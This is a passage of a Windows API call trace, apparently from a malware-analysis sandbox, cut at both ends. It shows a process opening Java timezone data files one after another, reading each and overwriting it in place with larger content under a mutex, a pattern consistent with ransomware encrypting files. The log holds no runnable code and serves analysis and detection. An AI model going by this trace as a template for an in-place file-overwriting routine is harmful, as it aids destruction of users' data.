nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3eb8*, lpNumberOfBytesRead=0x32cf2bc*=0x59, lpOverlapped=0x0) returned 1 [0050.575] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0050.575] WriteFile (in: hFile=0x1ac, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e1, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x5e1, lpOverlapped=0x0) returned 1 [0050.576] CloseHandle (hObject=0x1ac) returned 1 [0050.576] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Montevideo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\montevideo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0050.576] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.576] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x480 [0050.576] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.577] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.577] ReleaseMutex (hMutex=0x128) returned 1 [0050.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Montevideo", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Montevideo", cchWideChar=10, lpMultiByteStr=0x1e6324c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Montevideo", lpUsedDefaultChar=0x0) returned 10 [0050.577] ReadFile (in: hFile=0x1ac, lpBuffer=0x2742168, nNumberOfBytesToRead=0x480, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2742168*, lpNumberOfBytesRead=0x32cf2bc*=0x480, lpOverlapped=0x0) returned 1 [0050.638] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0050.638] WriteFile (in: hFile=0x1ac, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0xa08, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x32cf2d0*=0xa08, lpOverlapped=0x0) returned 1 [0050.638] CloseHandle (hObject=0x1ac) returned 1 [0050.638] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\New_Salem" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\north_dakota\\new_salem"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0050.639] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.639] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4fc [0050.639] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.639] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.639] ReleaseMutex (hMutex=0x128) returned 1 [0050.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="New_Salem", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="New_Salem", cchWideChar=9, lpMultiByteStr=0x1e6314c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="New_Salem", lpUsedDefaultChar=0x0) returned 9 [0050.639] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e17498, nNumberOfBytesToRead=0x4fc, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e17498*, lpNumberOfBytesRead=0x32cf2bc*=0x4fc, lpOverlapped=0x0) returned 1 [0050.662] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0050.662] WriteFile (in: hFile=0x1ac, lpBuffer=0x276c788*, nNumberOfBytesToWrite=0xa84, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesWritten=0x32cf2d0*=0xa84, lpOverlapped=0x0) returned 1 [0050.662] CloseHandle (hObject=0x1ac) returned 1 [0050.662] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Rainy_River" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\rainy_river"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0050.662] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.663] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x478 [0050.663] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.663] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.663] ReleaseMutex (hMutex=0x128) returned 1 [0050.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rainy_River", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rainy_River", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Rainy_River", lpUsedDefaultChar=0x0) returned 11 [0050.663] ReadFile (in: hFile=0x1ac, lpBuffer=0x2742168, nNumberOfBytesToRead=0x478, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2742168*, lpNumberOfBytesRead=0x32cf2bc*=0x478, lpOverlapped=0x0) returned 1 [0050.678] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0050.679] WriteFile (in: hFile=0x1ac, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x32cf2d0*=0xa00, lpOverlapped=0x0) returned 1 [0050.679] CloseHandle (hObject=0x1ac) returned 1 [0050.679] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Sao_Paulo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\sao_paulo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0050.680] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.680] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x45c [0050.680] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.680] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.680] ReleaseMutex (hMutex=0x128) returned 1 [0050.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sao_Paulo", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sao_Paulo", cchWideChar=9, lpMultiByteStr=0x1e630ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sao_Paulo", lpUsedDefaultChar=0x0) returned 9 [0050.680] ReadFile (in: hFile=0x1ac, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x45c, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x32cf2bc*=0x45c, lpOverlapped=0x0) returned 1 [0050.713] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0050.713] WriteFile (in: hFile=0x1ac, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x9e4, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x32cf2d0*=0x9e4, lpOverlapped=0x0) returned 1 [0050.713] CloseHandle (hObject=0x1ac) returned 1 [0050.717] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Thule" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\thule"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0050.717] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.717] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x354 [0050.717] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.717] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.718] ReleaseMutex (hMutex=0x128) returned 1 [0050.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Thule", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0050.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Thule", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thule", lpUsedDefaultChar=0x0) returned 5 [0050.718] ReadFile (in: hFile=0x1ac, lpBuffer=0x2750828, nNumberOfBytesToRead=0x354, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x32cf2bc*=0x354, lpOverlapped=0x0) returned 1 [0050.726] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0050.726] WriteFile (in: hFile=0x1ac, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8dc, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x32cf2d0*=0x8dc, lpOverlapped=0x0) returned 1 [0050.726] CloseHandle (hObject=0x1ac) returned 1 [0050.726] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Casey" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\casey"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0050.727] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.727] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x65 [0050.727] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.727] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.727] ReleaseMutex (hMutex=0x128) returned 1 [0050.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Casey", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0050.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Casey", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Casey", lpUsedDefaultChar=0x0) returned 5 [0050.727] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e49cf0, nNumberOfBytesToRead=0x65, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e49cf0*, lpNumberOfBytesRead=0x32cf2bc*=0x65, lpOverlapped=0x0) returned 1 [0050.728] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0050.728] WriteFile (in: hFile=0x1ac, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x5ed, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x32cf2d0*=0x5ed, lpOverlapped=0x0) returned 1 [0050.728] CloseHandle (hObject=0x1ac) returned 1 [0050.728] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aden" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\aden"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0050.729] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.729] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x41 [0050.729] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.729] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.729] ReleaseMutex (hMutex=0x128) returned 1 [0050.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Aden", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0050.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Aden", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Aden", lpUsedDefaultChar=0x0) returned 4 [0050.729] ReadFile (in: hFile=0x1ac, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x32cf2bc*=0x41, lpOverlapped=0x0) returned 1 [0050.730] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0050.730] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x32cf2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0050.730] CloseHandle (hObject=0x1ac) returned 1 [0050.730] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bangkok" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\bangkok"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0050.731] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.731] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x41 [0050.731] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.731] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.731] ReleaseMutex (hMutex=0x128) returned 1 [0050.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bangkok", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0050.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bangkok", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bangkok", lpUsedDefaultChar=0x0) returned 7 [0050.731] ReadFile (in: hFile=0x1ac, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x32cf2bc*=0x41, lpOverlapped=0x0) returned 1 [0050.732] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0050.732] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x32cf2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0050.732] CloseHandle (hObject=0x1ac) returned 1 [0050.732] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dubai" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\dubai"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0050.733] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.733] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x41 [0050.733] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.733] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.733] ReleaseMutex (hMutex=0x128) returned 1 [0050.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dubai", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0050.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dubai", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dubai", lpUsedDefaultChar=0x0) returned 5 [0050.733] ReadFile (in: hFile=0x1ac, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x32cf2bc*=0x41, lpOverlapped=0x0) returned 1 [0050.734] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0050.734] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x32cf2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0050.734] CloseHandle (hObject=0x1ac) returned 1 [0050.734] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jayapura" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\jayapura"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0050.735] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.735] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x55 [0050.735] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.735] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.735] ReleaseMutex (hMutex=0x128) returned 1 [0050.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Jayapura", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Jayapura", cchWideChar=8, lpMultiByteStr=0x1e6306c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jayapura", lpUsedDefaultChar=0x0) returned 8 [0050.735] ReadFile (in: hFile=0x1ac, lpBuffer=0x1ea3eb8, nNumberOfBytesToRead=0x55, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3eb8*, lpNumberOfBytesRead=0x32cf2bc*=0x55, lpOverlapped=0x0) returned 1 [0050.736] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0050.736] WriteFile (in: hFile=0x1ac, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x5dd, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x32cf2d0*=0x5dd, lpOverlapped=0x0) returned 1 [0050.736] CloseHandle (hObject=0x1ac) returned 1 [0050.736] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuala_Lumpur" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kuala_lumpur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0050.736] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.737] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x91 [0050.737] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.737] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.737] ReleaseMutex (hMutex=0x128) returned 1 [0050.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kuala_Lumpur", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.737] WideCharToMultiByte (in: CodePage=0xfde9, 